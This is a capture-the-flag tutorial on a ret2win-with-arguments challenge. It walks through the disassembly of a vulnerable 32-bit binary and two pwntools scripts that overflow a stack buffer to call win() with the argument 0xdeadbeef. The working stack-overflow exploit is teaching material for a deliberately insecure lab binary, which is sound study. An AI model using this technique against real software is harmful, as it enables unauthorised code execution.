## args

Now that we've spent some time going over binaries in extreme details, I am going to omit some of the initial details of the disassembly and focus more on the newer concepts. This binary is strikingly similar to the ret2win.

## **Checking Security**

```
$ checksec args
[*] '/home/joybuzzer/Documents/vunrotc/public/01-ret2win/args/src/args'
    Arch:    i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:     NX disabled
    PIE:    No PIE (0x8048000)
    RWX:    Has RWX segments
```

All the security features are still disabled.

## Disassembly

Checking the functions list:

```
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049040 __libc_start_main@plt
0x08049050 fflush@plt
0x08049060 gets@plt
0x08049070 puts@plt
0 \times 08049080 system@plt
0x08049090 _start
0x080490d0
           _dl_relocate_static_pie
0x080490e0
           __x86.get_pc_thunk.bx
0x080490f0 deregister_tm_clones
0x08049130 register_tm_clones
0x08049170
           __do_global_dtors_aux
0x080491a0
           frame_dummy
0x080491a6 win
0x080491ef read in
0x0804923c main
           __x86.get_pc_thunk.ax
0x08049254
0x08049258 fini
```

If we check read\_in() and main(), we'll see that the two methods are identical. Let's check win().

```
gef➤ disas win
Dump of assembler code for function win:
   0x080491a6 <+0>: push ebp
   0x080491a7 <+1>: mov
                           ebp, esp
   0x080491a9 <+3>: push ebx
   0x080491aa <+4>: sub
                            esp, 0x4
                            0x8049254 <__x86.get_pc_thunk.ax>
   0x080491ad <+7>: call
   0x080491b2 <+12>:
                         add
                                eax, 0x2e4e
   0x080491b7 <+17>:
                                DWORD PTR [ebp+0x8], 0xdeadbeef
                         cmp
   0x080491be <+24>:
                         jе
                                0x80491d6 <win+48>
   0x080491c0 <+26>:
                         sub
                                esp, 0xc
   0x080491c3 <+29>:
                                edx, [eax-0x1ff8]
                         lea
   0x080491c9 <+35>:
                         push
                                edx
   0x080491ca <+36>:
                                ebx, eax
                         mov
   0x080491cc <+38>:
                         call
                                0x8049070 <puts@plt>
   0x080491d1 <+43>:
                         add
                                esp, 0x10
   0x080491d4 <+46>:
                                0x80491ea <win+68>
                         jmp
   0x080491d6 <+48>:
                         sub
                                esp, 0xc
   0x080491d9 <+51>:
                                edx, [eax-0x1fee]
                         lea
   0x080491df <+57>:
                                edx
                         push
   0x080491e0 <+58>:
                         mov
                                ebx, eax
   0 \times 080491e2 < +60>:
                         call
                                0x8049080 <system@plt>
   0x080491e7 <+65>:
                         add
                                esp,0x10
   0x080491ea <+68>:
                                ebx, DWORD PTR [ebp-0x4]
                         mov
   0 \times 080491ed < +71>:
                         leave
   0 \times 080491 ee < +72 > :
                         ret
```

The most glaring part of this function is the call to cmp, which is a comparison function. cmp is used in assembly to manage if statements.

- The first instruction is cmp, which takes in the two values to compare. This returns a value of 0 if the two values are equal, 1 if the first value is greater than the second, and -1 if the first value is less than the second.
- The next instruction is a "jump if" instruction. These are used in tandem with cmp to decide where we go. In this case, the program decides to jump if equal (je). je takes an address, being where in the function you want to jump to.

Let's check out the two routes:

- If the the first value (DWORD PTR [rbp+0x8]) is equal to 0xdeadbeef, then we move to win+48. If we follow win+48, we see that this reaches system.
- If DWORD PTR [rbp+0x8] is not equal, it will continue instructions. However, there is a jmp call, which is going to jump to win+68, which skips the system call.

What is DWORD PTR [rbp+0x8]? Let's think about it in terms of the stack. The stack frame is going to be located at rbp. After rbp is going to be the return pointer, as we saw in our stack frame from earlier:

```
|-- rsp
v
[... | ... buffer for function ... | base pointer | return pointer | ... ]
```

That means that at rbp+0x8 holds the last thing pushed to the stack before the win() function was called. This is the (first) parameter that's passed to the function. Subsequent items on the stack would serve as the following parameters.

This tells us that we need to pass the parameter  $0 \times deadbeef$  to the win() function. Since this is 32-bit, let's just pass it right after the return pointer!

```
from pwn import *

proc = process('./args')

cmp = 0xdeadbeef
f_win = 0x080491a6

payload = b'A' * 0x34
payload += p32(f_win)
payload += p32(cmp)

proc.sendline(payload)
proc.interactive()
```

We pass cmp through p32() for two reasons: (1) we need it to be little endian, and (2) we need it to be the entire size of the parameter.

Running this yields doesn't work!

```
[+] Starting local process './args': pid 5882
[*] Switching to interactive mode
Good luck winning here!
You lose!
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 5882)
```

What went wrong? If we do some digging, we'll find that *You lose!* gets printed whenever we don't match the correct argument:

```
—— arguments (guessed) ——
puts@plt (
    [sp + 0x0] = 0x0804a008 → "You lose!"
)
```

(If you're struggling to find this for yourself, attach a gdb instance to your exploit and then step through it until you reach the puts call.)

What is happening? Checking the stack frame at the time of the cmp call shows us:

```
gef➤ x/20wx $esp

0xffdcb134: 0x41414141 0x41414141 0x41414141 0xdeadbeef

0xffdcb144: 0x00000000 0xf7fba020 0xf7c21519 0x000000001

0xffdcb154: 0xffdcb204 0xffdcb20c 0xffdcb170 0xf7e2a000

0xffdcb164: 0x0804923c 0x00000001 0xffdcb204 0xf7e2a000

0xffdcb174: 0xffdcb204 0xf7fb9b80 0xf7fba020 0xa1d90556

gef➤ x/wx $ebp+0x8

0xffdcb144: 0x000000000
```

We're off by one chunk? Why is that? Since we're jumping to win() by changing the value of the return pointer, rather than going there via call win, a return pointer is never pushed on the stack. However, since the code doesn't expect us to do this, it treats the stack as if there still is one.

```
In our code, <code>0xdeadbeef</code> is actually serving as the return pointer for <code>win()</code>. If you continue execution, you'll notice you end up at this address:

[#0] Id 1, Name: "args", stopped <code>0xdeadbeef</code> in <code>??()</code>, reason: SIGSEGV
```

This is an easy fix. All we need to do is allocate space for a return pointer in our payload. Since it doesn't really matter to us what it is, because we'll have already gotten our data by the time it's ever reached, we can just use  $0\times0$ :

```
from pwn import *

proc = process('./args')

cmp = 0xdeadbeef
f_win = 0x080491a6

payload = b'A' * 0x34
payload += p32(f_win)
payload += p32(0x0)
payload += p32(cmp)

proc.sendline(payload)
proc.interactive()
```

(You could use something like main to ensure that the program doesn't crash, but it's not necessary.)

Running this works!

```
[+] Starting local process './args': pid 6081
[*] Switching to interactive mode
Good luck winning here!
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 6081)
[*] Got EOF while sending in interactive
```

Running this on the remote server will get your flag!